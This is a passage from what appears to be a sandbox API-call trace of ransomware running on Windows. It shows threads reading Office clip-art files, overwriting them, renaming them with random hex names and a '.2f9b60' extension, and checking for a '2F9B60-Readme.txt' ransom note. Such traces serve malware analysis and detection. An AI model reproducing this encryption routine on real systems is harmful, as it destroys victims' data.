Seed=0x2ba2fad0) returned 0x23606902 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x76bf9a6a [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x7db6e71 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x1ad088c6 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x110e5910 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x738d067e [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x494df5f8 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x4518ea0 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x3a82b57d [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x194db488 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x6fed600b [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x23ff27dc [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x5353fd3e [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x3b49d3ea [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x407a8f0c [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x46ab5295 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x3e6d89ca [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x3c99cf62 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x5094ab1f [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x51ef8f80 [0107.257] ReadFile (in: hFile=0x163c, lpBuffer=0x41ec85a0, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x2ba2fad0, lpOverlapped=0x0 | out: lpBuffer=0x41ec85a0*, lpNumberOfBytesRead=0x2ba2fad0*=0x928, lpOverlapped=0x0) returned 1 [0107.257] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.257] WriteFile (in: hFile=0x163c, lpBuffer=0x41ebd170*, nNumberOfBytesToWrite=0x928, lpNumberOfBytesWritten=0x2ba2fad4, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesWritten=0x2ba2fad4*=0x928, lpOverlapped=0x0) returned 1 [0107.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0107.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0107.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0107.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0107.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec85a0) returned 1 [0107.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0107.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7950 [0107.284] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.285] WriteFile (in: hFile=0x163c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ba2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2ba2fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0107.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0107.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8675c0 [0107.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7370 [0107.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7370) returned 1 [0107.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7370 [0107.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a73d0 [0107.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a73d0) returned 1 [0107.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 [0107.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.298] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="f2") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="08") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="95") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="05") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="b4") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="e2") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="38") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="f6") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="1e") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="f8") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d2") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="20") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="a5") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="02") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="7b") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="94") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="3e") returned 2 [0107.298] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="93") returned 2 [0107.299] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="73") returned 2 [0107.299] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="30") returned 2 [0107.299] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="e9") returned 2 [0107.299] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="f8") returned 2 [0107.299] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="63") returned 2 [0107.299] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="0d") returned 2 [0107.299] RtlInitAnsiString (in: DestinationString=0x2ba2fc68, SourceString="f2089505b4e238f61ef8d220a5027b943e937330e9f8630d" | out: DestinationString="f2089505b4e238f61ef8d220a5027b943e937330e9f8630d") [0107.299] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ba2fc38, SourceString="f2089505b4e238f61ef8d220a5027b943e937330e9f8630d", AllocateDestinationString=1 | out: DestinationString="f2089505b4e238f61ef8d220a5027b943e937330e9f8630d") returned 0x0 [0107.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6120 [0107.299] wcscat (in: _Dest=0x4205da50, _Source="f2089505b4e2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2" [0107.299] wcscat (in: _Dest=0x4205da50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60" [0107.299] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60", NtPathName=0x2ba2fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279370 [0107.299] NtSetInformationFile (FileHandle=0x163c, IoStatusBlock=0x2ba2fcb0, FileInformation=0x20279370, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0109.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027fbc0) returned 1 [0109.730] NtQueryInformationFile (in: FileHandle=0x163c, IoStatusBlock=0x2ba2fc78, FileInformation=0x2ba2fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ba2fc78, FileInformation=0x2ba2fc88) returned 0x0 [0109.730] NtSetInformationFile (FileHandle=0x163c, IoStatusBlock=0x2ba2fc78, FileInformation=0x2ba2fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205da50) returned 1 [0109.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6120) returned 1 [0109.740] FlushFileBuffers (hFile=0x163c) returned 1 [0109.746] CloseHandle (hObject=0x163c) returned 1 [0109.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b12d0 [0109.759] wcscpy (in: _Dest=0x202b12d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.759] wcscat (in: _Dest=0x202b12d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b12d0) returned 1 [0109.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b890) returned 1 Thread: id = 692 os_tid = 0x11b4 [0096.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0107.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", dwFileAttributes=0x20) returned 1 [0107.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1568 [0107.240] GetFileSizeEx (in: hFile=0x1568, lpFileSize=0x2be7fc80 | out: lpFileSize=0x2be7fc80*=6060) returned 1 [0107.240] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x17a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.240] ReadFile (in: hFile=0x1568, lpBuffer=0x2be7fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2be7fc48, lpOverlapped=0x0 | out: lpBuffer=0x2be7fc00*, lpNumberOfBytesRead=0x2be7fc48*=0x4, lpOverlapped=0x0) returned 1 [0107.270] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0107.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0107.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0107.271] NtQuerySystemTime (in: CurrentTime=0x2be7fb40 | out: CurrentTime=0x2be7fb40*=132462177127642000) returned 0x0 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x38894e30 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x60d51099 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x7cb8cb0c [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x3d27e8b8 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x60d15bb8 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x558bf78a [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x4604eadd [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x7097fa63 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x62fcfb7b [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x4ee9ee96 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x4a25c2e9 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x83336ca [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x4d837689 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x2dfbd3df [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x31478cc6 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0xc7390a5 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x3cb7bcd [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x4cfdbca1 [0107.271] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x4bc326b0 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x1250529c [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x557a055 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x6bd866d0 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x2b53fec3 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x64b3cb11 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x28ca4bce [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x36b61101 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x3116062c [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x45254f7c [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x284ba988 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x368b3841 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x5c25cc69 [0107.272] RtlRandomEx (in: Seed=0x2be7fb30 | out: Seed=0x2be7fb30) returned 0x3d3b0e57 [0107.280] ReadFile (in: hFile=0x1568, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x2be7fb30, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2be7fb30*=0x17ac, lpOverlapped=0x0) returned 1 [0107.287] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.287] WriteFile (in: hFile=0x1568, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x17ac, lpNumberOfBytesWritten=0x2be7fb34, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2be7fb34*=0x17ac, lpOverlapped=0x0) returned 1 [0107.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0107.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ad0 [0107.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ad0) returned 1 [0107.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0107.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0107.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0107.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0107.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7ad0 [0107.304] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.304] WriteFile (in: hFile=0x1568, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2be7fc50, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2be7fc50*=0x10a, lpOverlapped=0x0) returned 1 [0107.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0107.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0107.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0107.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0107.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0107.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0107.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0107.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0107.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0107.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.306] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="55") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="3e") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="58") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="df") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ad") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="a8") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="47") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="7f") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="52") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="04") returned 2 [0107.306] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="81") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="1d") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="e1") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="e6") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="ab") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="f9") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="bb") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="1c") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="67") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="1d") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="b9") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="be") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="0d") returned 2 [0107.307] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="39") returned 2 [0107.307] RtlInitAnsiString (in: DestinationString=0x2be7fcc8, SourceString="553e58dfada8477f5204811de1e6abf9bb1c671db9be0d39" | out: DestinationString="553e58dfada8477f5204811de1e6abf9bb1c671db9be0d39") [0107.307] RtlAnsiStringToUnicodeString (in: DestinationString=0x2be7fc98, SourceString="553e58dfada8477f5204811de1e6abf9bb1c671db9be0d39", AllocateDestinationString=1 | out: DestinationString="553e58dfada8477f5204811de1e6abf9bb1c671db9be0d39") returned 0x0 [0107.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6200 [0107.307] wcscat (in: _Dest=0x4205d9b0, _Source="553e58dfada8" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\553e58dfada8") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\553e58dfada8" [0107.307] wcscat (in: _Dest=0x4205d9b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\553e58dfada8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\553e58dfada8.2f9b60" [0107.307] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\553e58dfada8.2f9b60", NtPathName=0x2be7fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\553e58dfada8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279af0 [0107.308] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x2be7fd10, FileInformation=0x20279af0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279af0) returned 1 [0109.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420522e0) returned 1 [0109.769] NtQueryInformationFile (in: FileHandle=0x1568, IoStatusBlock=0x2be7fcd8, FileInformation=0x2be7fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2be7fcd8, FileInformation=0x2be7fce8) returned 0x0 [0109.769] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x2be7fcd8, FileInformation=0x2be7fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d9b0) returned 1 [0109.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6200) returned 1 [0109.802] FlushFileBuffers (hFile=0x1568) returned 1 [0109.814] CloseHandle (hObject=0x1568) returned 1 [0109.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cfb0 [0109.815] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.815] wcscat (in: _Dest=0x4205cfb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 [0109.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b920) returned 1 Thread: id = 693 os_tid = 0x11b8 [0096.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0107.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", dwFileAttributes=0x20) returned 1 [0107.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1738 [0107.236] GetFileSizeEx (in: hFile=0x1738, lpFileSize=0x2bbbfae0 | out: lpFileSize=0x2bbbfae0*=3416) returned 1 [0107.236] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.236] ReadFile (in: hFile=0x1738, lpBuffer=0x2bbbfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bbbfaa8, lpOverlapped=0x0 | out: lpBuffer=0x2bbbfa60*, lpNumberOfBytesRead=0x2bbbfaa8*=0x4, lpOverlapped=0x0) returned 1 [0107.259] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0107.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 